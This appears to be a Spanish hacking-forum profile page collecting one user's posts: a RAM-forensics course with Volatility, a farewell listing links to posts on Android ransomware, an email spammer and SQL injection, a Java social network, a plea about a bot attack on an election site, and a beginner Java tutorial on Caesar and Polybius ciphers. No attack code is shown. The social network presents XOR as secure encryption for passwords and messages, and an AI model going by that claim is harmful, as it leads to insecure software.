Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - user_en1gm4

Páginas: [1]
1
En este taller con altos contenidos prácticos, se enfocara en el estudio y aprendizaje de la técnica de análisis forense de evidencias (Memoria RAM) usando la herramienta VOLATILITY FRAMEWORK. A continuación los videos que componen este curso.

NOTA

--Videos Quedan disponibles de forma 100% gratuita hasta el 6 de Noviembre de 2018
--Se pueden descargar con esta herramienta APROVECHEN You are not allowed to view links. Register or Login


CURSO



Video 1: Análisis forense de Memoria RAM- Conceptos Base: En este video obtendrás una introducción al curso de Análisis forense de memoria RAM con volatility Framework, donde se darán las pautas para iniciar el curso virtual, con conceptos base tales como: Ciclo del Análisis forense, que es el DUMP de memoria RAM, criterios a tener presente para la extracción y análisis de memoria RAM, entre otros.

Video1: You are not allowed to view links. Register or Login



Video 2: Herramientas (tools) Dump y Análisis forense de Memoria RAM: En este video obtendrás información al respecto de la descarga, despliegue y uso de las herramientas más usadas para extracción (Dump) y análisis Forense de Memoria RAM, tales como FTK Imager y Volatility Framework.

Video2: You are not allowed to view links. Register or Login



Video 3: DEMO práctico: Dump de Memoria RAM con FTK IMAGER: En este video realiza una demostración 100% práctica de una extracción (DUMP) de la memoria RAM  de un servidor Windows Server que ha sido previamente atacado.

Video3: You are not allowed to view links. Register or Login



Video 4: DEMO práctico-Comandos Volatility Framework nivel perfiles: En este video realiza una demostración 100% práctica de comandos volatility framework, iniciando con los comandos de validaciones de imágenes forenses y-o perfiles de DUMP de memoria RAM.

Video4: You are not allowed to view links. Register or Login



Video 5: DEMO práctico-Comandos Volatility Framework nivel Procesos parte 1: En este video realiza una demostración 100% práctica de comandos volatility framework a nivel de procesos, donde se usaran los comandos: pslist, pstree, psscan, psxview, privs y consoles. Comandos importantes para la identificación de procesos maliciosos que se han invadidos y-o infectado en un sistema informático.


Video5: You are not allowed to view links. Register or Login



Video 6: DEMO práctico-Comandos Volatility Framework nivel Procesos parte 2: En este video realiza una demostración 100% práctica de comandos volatility framework a nivel de procesos, donde se usaran los comandos: cmdscan, consoles, handles y cmdline. Comandos importantes para la identificación de procesos maliciosos que se han invadidos y-o infectados en un sistema informático, como un servidor Windows por ejemplo.

Comandos importantes para la identificación de procesos maliciosos que se han invadidos y-o infectados en un sistema informático, como un servidor Windows por ejemplo.

Video6: You are not allowed to view links. Register or Login



Video 7: DEMO práctico-Comandos Volatility Framework nivel redes (Networking): En este video se realiza una demostración 100% práctica de comandos volatility framework a nivel de Redes, donde se usaran los comandos: netscan, sockets, connectionsconns, connscan. Comandos importantes para la identificación de direcciones IP y puertos TCP pertenecientes a conexiones maliciosas y que están relacionados con procesos maliciosos que se han invadidos y-o infectados en un sistema informático, como un servidor Windows por ejemplo.

Video7: You are not allowed to view links. Register or Login



Video 8: DEMO práctico-Comandos Volatility Framework nivel DLLs y DUMP archivos: En este video se realiza una demostración 100% práctica de comandos volatility framework a nivel de dlls y extracción de archivos del dump de memoria RAM, donde se usaran los comandos: procdump, dlllist, dlldump, getsids. Comandos importantes para extraer del dump de memoria RAM archivos ejecutables y dlls relacionadas con procesos maliciosos, para posteriormente cargarlas a la url virustotal.com, y analizar los resultados, y así validar si en efecto son dlls y-o archivos ejecutables que contienen malware.


Video8: You are not allowed to view links. Register or Login



Video 9: DEMO práctico-Comandos Volatility Framework nivel Registro Windows y extracción de Hashes: En este video se realiza una demostración 100% práctica de comandos volatility framework a nivel del registro de Windows y extracción de hashes de contraseñas de Windows desde el Dump de  RAM, donde se usaran los comandos: hashdump, hivelist, hivescan. Comandos importantes para extraer del dump de memoria RAM información de usuarios, de contraseñas en formato Hash, y además de temas y procesos relacionados con el rol del registro de Windows respecto con el dump de memoria RAM.

Video9: You are not allowed to view links. Register or Login



Video de Apoyo 1: DEMO Ataque Informático analizado con la herramienta Volatility Framework: En este video realiza una demostración 100% práctica del ataque informático realizado al Servidor Windows 2008 server Datacenter Edition. Este video sirve como metodología de aprendizaje, e insumo bibliográfico para que los estudiantes validen si los resultados del análisis de la memoria RAM con la Herramienta Volatility framework son acordes a los ataques realizados por el agresor informático. (Video de ataque informático del cual surgió el dump de memoria RAM llamado:memdump2018winsvr.mem)

Video: You are not allowed to view links. Register or Login




Este curso de esta dictando en Colombia y quise compartirlos con ustedes, recuerden que es por tiempo limitado y ahi les deje las herramienta con la cual pueden descargarlos

EL CONOCIMIENTO ES LIBRE!

2
Off Topic / No es una despedida es un hasta pronto!
« en: Septiembre 10, 2018, 01:42:32 am »
Hola [email protected]!, hace mucho no escribo nada en el foro, llevaba tiempo sin entrar, creo que esta sera una de las ultimas veces que entrare al foro, estoy trabajando duro en cosas personales y es hora de hacer un stop al hacking y no esque no vuelva a tocar el tema,esque ya no me queda tiempo para investigar y compartir informacion como alguna vez lo hice, pienso volver algun dia, la verdad que genial pertenecer a esta comunidad no pense que fuera a aprender tanto, encerio ustedes son geniales, gracias por todo!


Aca les dejo mis post por si a alguno los necesita, entre ellos malware,spammers etc

SQL INYECTION CON GOOGLE DORKS
You are not allowed to view links. Register or Login

HACKING A PAGINAS WEB CON ACUTENIX Y UN POCO DE INGENIO
You are not allowed to view links. Register or Login

CREANDO UN RASONWARE PARA ANDROID DESDE 0
You are not allowed to view links. Register or Login

EMAIL SPAMMER
You are not allowed to view links. Register or Login

LABORATORIO SQL INYECTION
You are not allowed to view links. Register or Login

RED SOCIAL EN JAVA EE
You are not allowed to view links. Register or Login

GENERADOR DE DICCIONARIOS PARA FUERZA BRUTA
You are not allowed to view links. Register or Login

TALLER DE CRIPTOGRAFIA
You are not allowed to view links. Register or Login



VUELVO Y LO DIGO, MUCHAS GRACIAS!, MIS RESPETOS A USTEDES, UN GRAN ABRAZO A TODOS LOS QUE HACEN PARTE DE ESTA COMUNIDAD, SU AMIGO EN1GM4.


3
Java / Red Social en java EE , Jsf(Prime Faces), Jpa ,MVC, POO y MySql
« en: Junio 13, 2018, 11:44:57 am »
Hola comunidad, hoy les vengo a compartir un proyecto en el que trabaje hace un tiempo y quiero publicarlo en este foro

Se trata de una red social en java empresarial (ee), es algo simple pero funcional, se llama

X SOCIAL

se trata de un diseño funcional de una red social que nos va a permitir crear perfiles, chatear con amigos visualizar muros y crear publicaciones, obviamente sin algunas características de las redes sociales del mercado, tendrá un diseño simple y amigable
que podrá ser usado hasta por un niño.

PROYECTO PARA DESCARGAR POR MEGA: You are not allowed to view links. Register or Login


FUNCIONALIDADES

●Login, los usuarios contarán con un perfil para ingresar a la red social, con
usuario y contraseña.

● Chat con amigos, los usuarios podrán tener varias conversaciones con sus
amistades, el chat utiliza un cifrado XOR punto a punto, solo se descifran los mensajes en el Cliente.

● Solicitudes de amistad, podrán enviar solicitudes a personas las cuales se quiera
entablar una amistad.

● Visualización de perfil, el usuario podrá ver sus publicaciones su informaciónes, editar sus publicaciones.

● Editar información personal, se podrá cambiar la información dada al momento
de registrarse.

● Visualización publicaciones de amigos, se contará con un muro que muestre los
post de amigos del usuario.

● Hacer publicaciones de texto, se podrán publicar imágenes(todavia no) o texto plano
para que los amigos lo vean.

● Cifrado de contraseñas y mensajes

● comentarios a publicaciones de amigos y propias.

● Búsqueda de perfiles

UNA ACLARACION, NO ES ALGO MUY PROFESIONAL, SOLO SOY YO CON MIS GANAS DE APRENDER, TAL VEZ LE FALTEN MUCHAS COSAS PERO SE LE PODRIAN AGREGAR

Les dejo un documento, con el modelo entidad relacion, relacional, el diccionario de clases y todo bien bonito

Les voy a dejar unas capturas de como se ve la red social, les dejo un link con el source, el script de la base de datos, un documento con la explicacion del proyecto y el java doc, espero les sirva!




[

]


ASI SE VEN LAS CONVERSACION EN EL SERVIDOR, VIAJAN POR RED Y SE GUARDAN EN EL SERVIDOR CIFRADAS, SE PUEDE CAMBIAR EL METODO DE CIFRADO, EL METODO QUE UTILIZE FUE EL QUE ENSEÑE A HACER EN ESTE TALLER,EL CIFRADO XOR

TALLER: You are not allowed to view links. Register or Login



En la carpeta comprimida lib, estan las librerias que deben colocar dentro de la carpeta WebContent/WEB-INF/lib

Espero les sirva, aca les paso una foto de como quedaria su proyecto montado, con el controlador (ControldeUsuarios), el modelo mapeado directamente con eclipse y las vistas hechas con prime faces, el proyecto lo hize con el IDE eclipse con un servidor Tomcat 9, SI TIENEN ALGUN PROBLEMA ME PUEDEN ENVIAR UN MENSAJE O COMENTAR DIRECTAMENTE ACA!



aca les dejo una captura de todo, el controlador tiene mas de 1400 lineas, si editan algo recuerden que para que despues no les genere errores!, el codigo esta comentado si algo


SALUDOS Y UN GUSTO COMPARTIR!

4
Dudas y pedidos generales / Ayuda! como contrarestar un ataque
« en: Mayo 27, 2018, 11:57:25 am »
Hola [email protected], les escribo porque quiero consultar co ustedes algo, hoy son las votacion en mi pais Colombia y como se ah presentado antes, siempre atacan la registraduria que es la institucion encargada de dar los boletines de las elecciones y todo lo relacion con esto, en este momento exactamente tienen aproximadamente de mil bots atacando la pagina de la registraduria de Colombia con el fin de saturarla y luego tratar de entrar a sus servidores!

Como podria ayudar a que esto no pase, no se como ayudar ya que no tengo acceso a los servidores, pero si ellos llegan a entrar podrias sabotear las elecciones que so muy importantes ya que como muchos saben se firmo el proceso de paz, las primeras elecciones sin guerrilla en Colombia, no quiero que saboteen las elecciones

¿QUE PODRIA HACER?  AGRADEZCO CUALQUIER COMENTARIO!


5
Criptografía / Taller de Criptografia con Algoritmos en java
« en: Abril 22, 2018, 01:01:03 pm »
Hola compañ[email protected], hoy quiero hacer este taller ya que me gusta mucho todo este tema y quisiera compartirles algo de lo que se, se trata de un taller de criptografia con algoritmos paso a paso hechos por mi, de diferentes tipos de cifrado empezando por los clasicos hasta llegar a los actuales (en algunos todavia estoy trabajando, los mas complejos), en este taller enseñare paso a paso como codear estos algoritmos con ejemplos graficos, ademas de diversas actividades para los mas curiosos y que quieran aprender de mas.


Sugerencia saber de java (los algoritmos seran codeados en este lenguaje) y algo de estructura de datos (arrays,matrices,listas,codigo ASCII), bueno sin mas que decirles voy a comenzar.

Aca voy a colocar todos los algoritmos: mega.nz/#F!puQDVbqT!nhqABKFKf_69iqKIE-09iQ
Quiero decir algo y esque en esto de la programacion hay muchas formas de hacer algo, esta es mi forma los algortimos no estan hechos por un programador profesional ni nada, soy un estudiante todavia pero me gusta mucho esto, asi que quise compartirlo.


TALLER DE CRIPTOGRAFIA


Empecemos definiendo que es, para que se utiliza la criptografia y sus objetivos:

-  CRIPTOGRAFIA
 
La palabra Criptografía proviene del griego "kryptos" que significa oculto, y "graphia", que significa escritura, y su definición según el dicccionario es "Arte de escribir con clave secreta o de un modo enigmático". La Criptografía es una técnica, o más bien un conjunto de técnicas, que originalmente tratan sobre la protección o el ocultamiento de la información frente a observadores no autorizados. Es parte de un campo de estudios que trata las comunicaciones secretas,  Estas técnicas se utilizan tanto en el arte como en la ciencia y en la tecnología. Por tanto, el único objetivo de la criptografía era conseguir la confidencialidad de los mensajes, para lo cual se diseñaban sistemas de cifrado y códigos.

La criptografia es algo muy antiguo, no es algo que nace con la informatica, si no que era usada miles de años antes por egipcios, romanos,tambien en la primera y segunda guerra mundial.

Aca les dejo una buena introduccion a la criptografia si quieren saber mas a fondo y un poco de su historia, les recomiendo que revisen los links que les dejo a lo largo del taller para complementar lo que aca esta escrito.

You are not allowed to view links. Register or Login

Wikipedia: You are not allowed to view links. Register or Login


- OBJETIVOS DE LA CRIPTOGRAFIA

En la criptografia tenemos 3 objetivos principales, es lo que se quiere conseguir despues de aplicar alguna tecnica criptografica a alguna informacion o comunicacion

  • Confidencialidad:
  • Es decir, garantiza que la información sea accesible únicamente a personal autorizado.
  • Integridad:
  • Grantiza que la informacion no sea modificada y se mantanga tal cual se creo
  • Autentificacion:
Es decir proporciona mecanismos que permiten verificar la identidad del comunicador, osea que quien envia el mensaje o informacion se confirme que venga de el

Nota:
No me extendere tanto explicando todo esto ya que en los link que les deje esta toda esa informacion y aun mas(en google podrian buscar criptografia y saldrian millones de resultados), el fin de este taller es entender como funcionan las tecnicas y poder codearlos


- TIPOS DE CRIPTOGRAFIA

  • Criptografia Simetrica:
La criptografía simétrica solo utiliza una clave para cifrar y descifrar el mensaje, que tienen que conocer el emisor y el receptor previamente. Es la comunicación de las claves entre ambos sujetos el punto débil del sistema, ya que resulta más fácil interceptar una clave que se ha transmitido sin seguridad

   
  • Criptografia Asimetrica:
Un algoritmo de criptografía asimétrica utiliza dos claves para el envío de mensajes. Las dos claves pertenecen a la persona que recibe el mensaje. Se utiliza una clave para encriptar y otra para desencriptar. La clave que se emplea para cifrar se llama clave pública y se puede entregar a cualquier persona. (De hecho hay hasta servidores de claves públicas). La magia es que si el cifrado se ha hecho con una clave pública sólo podre desencriptar con una clave distinta de la primear asociada. Es decir: dos claves matemáticamente relacionadas de manera que lo que cifras con una solo lo puedes descifrar con la otra.

   
  • Criptografia Hibrida:
es un método criptográfico que usa tanto un cifrado simétrico como un asimétrico. Emplea el cifrado de clave pública para compartir una clave para el cifrado simétrico. El mensaje que se esté enviando en el momento, se cifra usando su propia clave privada, luego el mensaje cifrado se envía al destinatario. Ya que compartir una clave simétrica no es seguro, ésta es diferente para cada sesión.


Mas informacion
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login


Bueno muchachos ya despues de entender estos conceptos y de que estamos hablando vamos a empezar con algunos algoritmos de la criptografia clasica


- CRIPTOGRAFIA CLASICA

Son las tecnicas utilizadas antiguamente por romanos, egipcios y guerras que pasaron hace muchos años y no querian que sus mensajes fueran revelados, entre estas tecnicas se encuentran:

Cifrado Cesar
 
Segun Wikipedia:

En criptografía, el cifrado César, también conocido como cifrado por desplazamiento, código de César o desplazamiento de César, es una de las técnicas de cifrado más simples y más usadas. Es un tipo de cifrado por sustitución en el que una letra en el texto original es reemplazada por otra letra que se encuentra un número fijo de posiciones más adelante en el alfabeto. Por ejemplo, con un desplazamiento de 3, la A sería sustituida por la D (situada 3 lugares a la derecha de la A), la B sería reemplazada por la E, etc. Este método debe su nombre a Julio César, que lo usaba para comunicarse con sus generales.



Como se ve en la imagen solo se trata de correr un caracter 3 posiciones mas adelante, bueno y ahora si empezamos a codear:

Voy a crear una Clase  main que se llame CifradoCesar, luego creare un scanner para leer por medio del teclado y luego pedire el mensaje, de esta forma:

Código: Java
  1.  
  2. public class CifradoCesar {
  3.  
  4.    public static void main(You are not allowed to view links. Register or Login[] args) {
  5.       // TODO Auto-generated method stub
  6.      
  7.       You are not allowed to view links. Register or Login.out.println("\t   ------------------");
  8.       You are not allowed to view links. Register or Login.out.println("\t  | *  CIFRADO CESAR * |");
  9.       You are not allowed to view links. Register or Login.out.println("\t   ------------------");
  10.      
  11.       //Scanner
  12.       Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  13.  
  14.  
  15.       You are not allowed to view links. Register or Login.out.println("Ingrese el Mensaje: ");
  16.       You are not allowed to view links. Register or Login mensaje  = sc.nextLine();
  17.       }
  18.    }
  19.  
  20.      


Listo, ahora voy a crear una funcion que se llame Cifrar_Cesar y me reciba por parametros un mensaje que sera tipo String, esta funcion se encarga de convertir el mensaje en un array de caracteres (char) para luego por medio el codigo ascii obtener el numero del caracter y sumarle 3, por ejemplo la letra 'a' en codigo ascci sera el numero 97 y si a ese numero le sumamos 3,  97+3 = 100;
y 100 es el codigo ascii de la letra  'd' y como se ve en la imagen anterior se corre 3 letras, y de esta manera vamos a realizar el cifrado caracter por caracter y luego lo concatenamos a un String que sera nuestra salida de la funcion o cipher (texto ya cifrado)

Tabla de CODIGO ASCII: You are not allowed to view links. Register or Login

Código: Java
  1.    
  2.    public static You are not allowed to view links. Register or Login Cifrar_Cesar(You are not allowed to view links. Register or Login mensaje){
  3.       //Texto a salir (cfrado)
  4.       You are not allowed to view links. Register or Login cipher = "";
  5.       //Posiciones a adelantar
  6.       int adelantar = 3;
  7.      
  8.       //Convertimos el mansaje en un array de caracteres
  9.       char [] letras = mensaje.toCharArray();
  10.  
  11.       //Vamos por cada caracter sumandole 3
  12.       for(int i=0;i<letras.length;i++){
  13.          
  14.          // de esta manera obtenemos el codigo ascii del caracter  ((int) letras[i])
  15.          // luego a ese numero le sumamos 3 ( ((int) letras[i])+ adelantar)  <- quedaria asi
  16.          // y luego convertimos ese numero en la letra a la que hace
  17.          // referencia en el codigo ascii solo casteando el numero a (char)
  18.  
  19.          cipher += (char)( ((int) letras[i])+ adelantar) ;
  20.       }
  21.  
  22.       //Texto cifrado
  23.       return cipher;
  24.    }
  25.  



Listo ya tenemos nuestra funcion que cifra, la podre a prueba cifrando el mensaje:  Alan Mathison Turing


Y nos dio como resultado: Dodq#Pdwklvrq#Wxulqj 
que si lo revisamos nos damos cuenta que si hace lo que esperabamos,
la letra A + 3posiciones = letra D, luego la letra 'l' + 3 posiciones = letra 'o' y asi sucesivamente, listo ya tenemos nuestra funcion de cifrar.


Bueno ahora necesitamos una funcion que coja el cipher(texto cifrado) y nos devuelva nuestro mensaje normal
Para esto creare una funcion que se llamara Descifrar_Cesar y me reciba por parametro un String que sera el cipher para luego hacer casi lo anterior de la funcion cifrar pero en vez de sumarle 3 al codigo ascii le voy a restar 3 para volverlo a la posicion normal, no la comentare tanto porque hace casi lo mismo que la anterior solo que no suma sino resta posiciones

Código: Java
  1.  
  2.    public static You are not allowed to view links. Register or Login Descifrar_Cesar(You are not allowed to view links. Register or Login cipher){
  3.      
  4.       You are not allowed to view links. Register or Login mensaje = "";
  5.       //Posiciones a atrasar
  6.       int adelantar = 3;
  7.       //Caracteres del mensaje
  8.       char [] letras = cipher.toCharArray();
  9.       for(int i=0;i<letras.length;i++){
  10.          mensaje += (char)( ((int) letras[i])- adelantar) ;
  11.       }
  12.       return mensaje;
  13.    }
  14.  

Listo ya tenemos nuestras dos funciones de cifrar y descifrar vamos a ponerlas a prueba!, en el main  pido un mensaje y lo mando a cifrar, luego ese mensaje cifrado lo mando a descifrar y nos debe mostrar nuestro texto cifrado y nuestro texto normal luego de pasar por estas funciones, quedaria algo asi:

Código: Java
  1.  
  2. public class CifradoCesar {
  3.  
  4.    public static void main(You are not allowed to view links. Register or Login[] args) {
  5.       // TODO Auto-generated method stub
  6.      
  7.       You are not allowed to view links. Register or Login.out.println("\t   ------------------");
  8.       You are not allowed to view links. Register or Login.out.println("\t  | *  CIFRADO CESAR * |");
  9.       You are not allowed to view links. Register or Login.out.println("\t   ------------------");
  10.      
  11.       //Scanner
  12.       Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  13.  
  14.  
  15.       You are not allowed to view links. Register or Login.out.println("Ingrese el Mensaje: ");
  16.       You are not allowed to view links. Register or Login mensaje  = sc.nextLine();
  17.      
  18.       You are not allowed to view links. Register or Login.out.println("\n-------------------------------");
  19.       You are not allowed to view links. Register or Login cipher =Cifrar_Cesar(mensaje);
  20.       You are not allowed to view links. Register or Login.out.println("Cifrado: "+cipher);
  21.  
  22.       You are not allowed to view links. Register or Login descifrado = Descifrar_Cesar(cipher);
  23.       You are not allowed to view links. Register or Login.out.println("-------------------------------");
  24.       You are not allowed to view links. Register or Login.out.println("Descifrado: "+descifrado);
  25.       You are not allowed to view links. Register or Login.out.println("-------------------------------");
  26.  
  27.    }
  28.    
  29.    
  30.    
  31.    public static You are not allowed to view links. Register or Login Cifrar_Cesar(You are not allowed to view links. Register or Login mensaje){
  32.       //Texto a salir (cfrado)
  33.       You are not allowed to view links. Register or Login cipher = "";
  34.       //Posiciones a adelantar
  35.       int adelantar = 3;
  36.      
  37.       //Convertimos el mansaje en un array de caracteres
  38.       char [] letras = mensaje.toCharArray();
  39.  
  40.       //Vamos por cada caracter sumandole 3
  41.       for(int i=0;i<letras.length;i++){
  42.          
  43.          // de esta manera obtenemos el codigo ascii del caracter
  44.          //  ((int) letras[i]) y luego a ese numero le sumamos 3
  45.          // ( ((int) letras[i])+ adelantar) <- quedaria asi
  46.          // y luego convertimos ese numero en la letra a la que hace
  47.          // referencia en el codigo ascii solo casteando el numero a (char)
  48.          cipher += (char)( ((int) letras[i])+ adelantar) ;
  49.       }
  50.       //Texto cifrado
  51.       return cipher;
  52.    }
  53.    
  54.    
  55.    
  56.    public static You are not allowed to view links. Register or Login Descifrar_Cesar(You are not allowed to view links. Register or Login cipher){
  57.      
  58.       You are not allowed to view links. Register or Login mensaje = "";
  59.       //Posiciones a atrasar
  60.       int adelantar = 3;
  61.       //Caracteres del mensaje
  62.       char [] letras = cipher.toCharArray();
  63.       for(int i=0;i<letras.length;i++){
  64.          mensaje += (char)( ((int) letras[i])- adelantar) ;
  65.       }
  66.       return mensaje;
  67.    }
  68.  
  69. }
  70.  
  71.  

y al ejecutarlo daria este resultado:


Listo ya tenemos nuestro algoritmo de Cifrado del Cesar!

EJERCICIO #1
Utilize el algoritmo para descifra este mensaje: r{>tzA-r??n-y|p|
Pero ahora en vez de correr solo 3 caracteres lo tendra que hacer corriendo 13 caracteres, igual para descifrar, suerte!



Cifrado Polibio

Se trata de un algoritmo trivial, donde cada letra del alfabeto es reemplazada por las coordenadas de su posición en un cuadrado. Es un caso particular de transposición mono-alfabética. osea tenemos una matriz llena de caracteres y vamos por cada caracter del mensaje y el cipher resultante seran las posiciones del caracter en la matriz

Link:
You are not allowed to view links. Register or Login

Por ejemplo tenemos esta matriz llena de caracteres, (el abecedario)


Por ejemplo si queremos cifrar el texto HOLA en base a esta matriz lo que tendriamos que hacer seria ubicar la posicion de cada letra del mensaje , la letra H se encuentra en la fila 2 columna 3 entonces nuestro ciper seria 23 por ahora, luego vamos con la O que esta en la fila 3 - columna 4, nuestro cipher ahoa sera 23 33 y asi con todas las letras del mensaje en base a la posicion en que se encuentren en la matriz

HOLA = 23 34 31 11

Para que el mensaje sea correctamente cifrado, en la matriz se deben encontrar todos los caracteres que lo componten, osea en este ejemplo si nuestro mensaje hubiera llevado alguna numero no cifraria bien ya que en la matriz no hay ningun numero y asi, pero se puede hacer una matriz mas grande, para el algoritmo utilizare una de 7x7 para agregar los numeros y algunos signos

Listo sabiendo esto ahora empezaremos a codear:

Voy a crear una clase main llamada CifradoPolibio en la cual como anteriormente lo hicimos voy a pedir un mensaje:


Código: Java
  1.  
  2.  
  3. public class CifradoPolibio {
  4.  
  5.    public static void main(You are not allowed to view links. Register or Login[] args) {
  6.  
  7.                You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  8.       You are not allowed to view links. Register or Login.out.println("\t  | *  CIFRADO POLIBIO * |");
  9.       You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  10.       Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  11.  
  12.       You are not allowed to view links. Register or Login.out.println("Ingrese el Mensaje: ");
  13.       You are not allowed to view links. Register or Login mensaje  = sc.nextLine();
  14.         }
  15.                   }
  16.  


Bueno y como este tipo de cifrado requiere una matriz voy a crear la mia, que sera de 7*7 , contendre numeros y signos, quedaria algo asi:

Código: Java
  1.  
  2. public class CifradoPolibio {
  3.  
  4.    public static void main(You are not allowed to view links. Register or Login[] args) {
  5.       // TODO Auto-generated method stub
  6.  
  7.    
  8.      
  9.       You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  10.       You are not allowed to view links. Register or Login.out.println("\t  | *  CIFRADO POLIBIO * |");
  11.       You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  12.       Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  13.  
  14.       You are not allowed to view links. Register or Login.out.println("Ingrese el Mensaje: ");
  15.       You are not allowed to view links. Register or Login mensaje  = sc.nextLine();
  16.  
  17.                        char [][] matris = {{'a','b','c','d','e','f','g'},
  18.                      {'h','i','j','k','l','m','n'},
  19.                      {'ñ','o','p','q','r','s','t'},
  20.                      {'u','v','w','x','y','z','1'},
  21.                      {'2','3','4','5','6','7','8'},
  22.                      {'9','0','_','-',' ','.',','},
  23.                      {'$','#','%','&','+','*','/'}};
  24.                     }
  25.              }
  26.  
  27.  


Listo ya tenemos nuestra matriz y en base a esta todos nuestros mensajes se van a cifrar

Bueno ahora vamos a crear una funcion que se llame Cifrar_Polibio que nos reciba por parametro un String que sera nuestro mensaje y una matriz de caracteres char [][], y en base a estos datos cifrar


Código: Java
  1.  
  2.    public static You are not allowed to view links. Register or Login [] Cifrar_Polibio(You are not allowed to view links. Register or Login mensaje, char [][] matris ){
  3.      
  4.       //Se crea un array de el tamaño del mensaje ingresado
  5.       You are not allowed to view links. Register or Login [] cipher = new You are not allowed to view links. Register or Login [mensaje.toCharArray().length];
  6.  
  7.       //Se convierte el mensaje en un array de char
  8.       char [] msj =  mensaje.toCharArray();
  9.      
  10.      
  11.      
  12.       //Va por todas las letras del mensaje
  13.       for(int h=0;h<msj.length;h++){
  14.      
  15.          //Va por todas las filas y columnas de la matriz
  16.          //Hasta encontrar el caracter
  17.       for(int i=0;i<matris.length;i++){
  18.          
  19.          for(int j=0;j<matris[1].length;j++){
  20.            
  21.             //Si lo encuentra
  22.             if(matris[i][j]== msj[h]){
  23.                
  24.                //Guarda en nuestro array cipher las posiciones
  25.                //de el caracter i para las filas y j para las columnas
  26.                cipher[h]=You are not allowed to view links. Register or Login.toString(i)+You are not allowed to view links. Register or Login.toString(j);
  27.            
  28.                //sale del ciclo apenas lo encuentra
  29.                break;
  30.             }  
  31.          }
  32.       }
  33.          // Va imprimiendo el cipher (mensaje ya cifrado)
  34.          You are not allowed to view links. Register or Login.out.print(cipher[h]+" ");
  35.       }
  36.       //Retorna el cipher
  37.       return cipher;
  38.      
  39.    }
  40.    
  41.  

y listo ya tendremos nuestra funcion que cifra, ahora haremos el paso inverso, vamos a cojer el cipher(texto cifrado) y como en este estan las posiciones de el caracter del mensaje en la matriz solo seria ir a la matriz y buscar en esa posicion y alla esta la letra a la que corresponde, vamos a crear una funcion que nos haga esto, la funcion recibe un cipher (texto cifrado), que sera un array de char, el mismo que la funcion cifrar retorna y una matriz de caracteres como parametros:

Código: Java
  1.    
  2.    public static You are not allowed to view links. Register or Login Descifrar_Polibio(You are not allowed to view links. Register or Login [] cipher,char [][] matris){
  3.      
  4.       //Un array con la direccion de el caracter [fila][columna]
  5.       char [] direccion;
  6.       You are not allowed to view links. Register or Login mensaje ="";
  7.       //
  8.       //Vamos por todas las posiciones del cipher
  9.       for(int i=0;i<cipher.length;i++){
  10.  
  11.          //Convertimos la direccion en un array de char
  12.        direccion = cipher[i].toCharArray();
  13.      
  14.           // sabemos que en la posicion 0 esta la fila y en la posicion 1 esta la columna
  15.        //buscamos en la matriz el caracter que este en esa posicion y lo vamos concatenando al mensaje normal
  16.      
  17.           mensaje+=matris[You are not allowed to view links. Register or Login.getNumericValue( direccion[0])][You are not allowed to view links. Register or Login.getNumericValue(direccion[1])];
  18.        
  19.    }
  20.       //Imprime el mensaje ya descifrado
  21.          You are not allowed to view links. Register or Login.out.println(mensaje);
  22.          
  23.          //Retorna el mensaje
  24.       return mensaje;
  25.    }
  26.    
  27.  

Y listo ya tendriamos nuestras dos funciones listas, mandamos a cifrar y descifrar en el main y nos quedari algo asi:
(no olviden que en java las posiciones empiezan en 0, ademas de esto cree una funcion imprimir para ver la matriz

Código: Java
  1. import java.util.Scanner;
  2.  
  3.    public class CifradoPolibio {
  4.    
  5.       public static void main(You are not allowed to view links. Register or Login[] args) {
  6.          // TODO Auto-generated method stub
  7.    
  8.          char [][] matris = {{'a','b','c','d','e','f','g'},
  9.                         {'h','i','j','k','l','m','n'},
  10.                         {'ñ','o','p','q','r','s','t'},
  11.                         {'u','v','w','x','y','z','1'},
  12.                         {'2','3','4','5','6','7','8'},
  13.                         {'9','0','_','-',' ','.',','},
  14.                         {'$','#','%','&','+','*','/'}};
  15.          
  16.          You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  17.          You are not allowed to view links. Register or Login.out.println("\t  | *  CIFRADO POLIBIO * |");
  18.          You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  19.          Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  20.    
  21.          You are not allowed to view links. Register or Login.out.println("Ingrese el Mensaje: ");
  22.          You are not allowed to view links. Register or Login mensaje  = sc.nextLine();
  23.          You are not allowed to view links. Register or Login.out.println("\nMatriz");
  24.          Imprimir(matris);
  25.       You are not allowed to view links. Register or Login.out.print("\nCifrado: ");
  26.       You are not allowed to view links. Register or Login [] cipher = Cifrar_Polibio(mensaje,matris);
  27.       sc.close();
  28.       You are not allowed to view links. Register or Login.out.print("\nDescifrado: ");
  29.       You are not allowed to view links. Register or Login msj = Descifrar_Polibio(cipher,matris);
  30.      
  31.      
  32.      
  33.    }
  34.    
  35.    public static void Imprimir(char [][] matris){
  36.       for(int i=0;i<matris.length;i++){
  37.          
  38.          for(int j=0;j<matris[i].length;j++){
  39.            
  40.             You are not allowed to view links. Register or Login.out.print(matris[i][j]+" ");
  41.          }
  42.          You are not allowed to view links. Register or Login.out.println("");
  43.       }
  44.    }
  45.    
  46.    public static You are not allowed to view links. Register or Login [] Cifrar_Polibio(You are not allowed to view links. Register or Login mensaje, char [][] matris ){
  47.      
  48.       //Se crea un array de el tamaño del mensaje ingresado
  49.       You are not allowed to view links. Register or Login [] cipher = new You are not allowed to view links. Register or Login [mensaje.toCharArray().length];
  50.  
  51.       //Se convierte el mensaje en un array de char
  52.       char [] msj =  mensaje.toCharArray();
  53.      
  54.      
  55.      
  56.       //Va por todas las letras del mensaje
  57.       for(int h=0;h<msj.length;h++){
  58.      
  59.          //Va por todas las filas y columnas de la matriz
  60.          //Hasta encontrar el caracter
  61.       for(int i=0;i<matris.length;i++){
  62.          
  63.          for(int j=0;j<matris[1].length;j++){
  64.            
  65.             //Si lo encuentra
  66.             if(matris[i][j]== msj[h]){
  67.                
